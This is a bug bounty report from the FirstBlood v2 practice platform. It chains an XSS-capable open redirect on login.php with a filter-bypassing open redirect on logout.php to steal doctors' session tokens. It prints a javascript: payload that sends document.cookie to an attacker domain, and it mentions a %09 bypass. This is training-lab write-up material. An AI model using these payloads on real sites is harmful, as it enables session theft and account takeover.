FirstBlood-#615A chain of two open redirects to leak some users token
This issue was discovered on FirstBlood v2

On 2021-10-26, c3phas Level 4 reported:


Hi Sean, A small background on why i did it this way.

I know there is an open redirect during login via the goto parameter which seems not to have been patched from previous reports.Important to mention this could be an xss

The parameter goto is vulnerable to XSS on login.php. The web application fails to filter the javascript URI upon redirecting. So in this report I will leverage this redirect led to by the Xss

I also know there was an open redirect during secure logout via the ref parameter which from my testing seems to be patched "somehow" as most of the payloads on previous reports don't work anymore.

Since the first Issue wasn't patched i could have just reported it but i thought i'd have a play with it to aid me to break the logic used to patch the second issue. So rather than going for the obvious i decided to have fun

It's not much but i hope you have fun reading this :)


When a doctor is logged in to their panel we have a button to securely log them out . Clicking on this button redirects the doctor to the home page via the ref parameter.

Trying to control the ref I realized it only allows redirects within the same domain and sadly I was unable to break it.

So I thought ok let's give it what it wants. I decided to look for a path within the same site that has another redirect that would allow me to redirect again to an external domain ie

So if this works I knew , any logged in doctor would first be logged out and redirected to the endpoint within same domain that has another redirect. you can see where i am going with this.

So i decided to hunt for other redirects and found the redirect on login via the goto parameter and for this I was able to redirect a doctor to an external domain using the payload javascript:window.location.href=${document.cookie}

Sending the url`${document.cookie}` to a doctor would redirect them to an attacker domain (in our case the ngrok instance) once they entered their creds and clicked secure login

Good now we have a path within the same domain that allows us to redirect to an outside domain,so it's time to combine the two

For the logout redirect via ref parametr we will provide the path /login.php?goto=javascript:window.location.href=${document.cookie} and since this is an internal path the logout endpoint happily redirects to it.

The process is: the logged in doctor will be logged out then redirected to the login endpoint and once they logged in again their cookies would be sent to an attacker controlled domain

final poc combining the two redirects`${document.cookie}`


I was able to bypass the patch for the logout redirect and i can steal the drps token for any doctor which could lead to an account takeover.

Supporting materlal

request received on ngrok after the victim entered their creds and logged in

P2 High

This report contains multiple vulnerabilities:

  • Reflective XSS
  • Open Redirect

FirstBlood ID: 39
Vulnerability Type: Reflective XSS

Our mistake: The parameter "goto" on login.php should of been "fixed" when redirecting to prevent XSS but due to an oversight from Sean and Karl, the new code did not make it into production. This has since updated since the event ended and you're recommended to re-try. It's related to bug ID 26 because the idea was developers fixed *this* one (when redirecting) but forgot the other reflection.

FirstBlood ID: 18
Vulnerability Type: Open Redirect

The open redirect bug on logout.php was fixed but the code still failed to filter out certain characters such as %09 and thus the endpoint is still vulnerable to open redirect. This vulnerability only affects chrome.

Report Feedback


Creator & Administrator

Nice PoC c3phas! We actually made a mistake on bug ID 39 which we didn't notice until too late, but we've since made some changes which you're welcome to go and play with :) Great chain and report !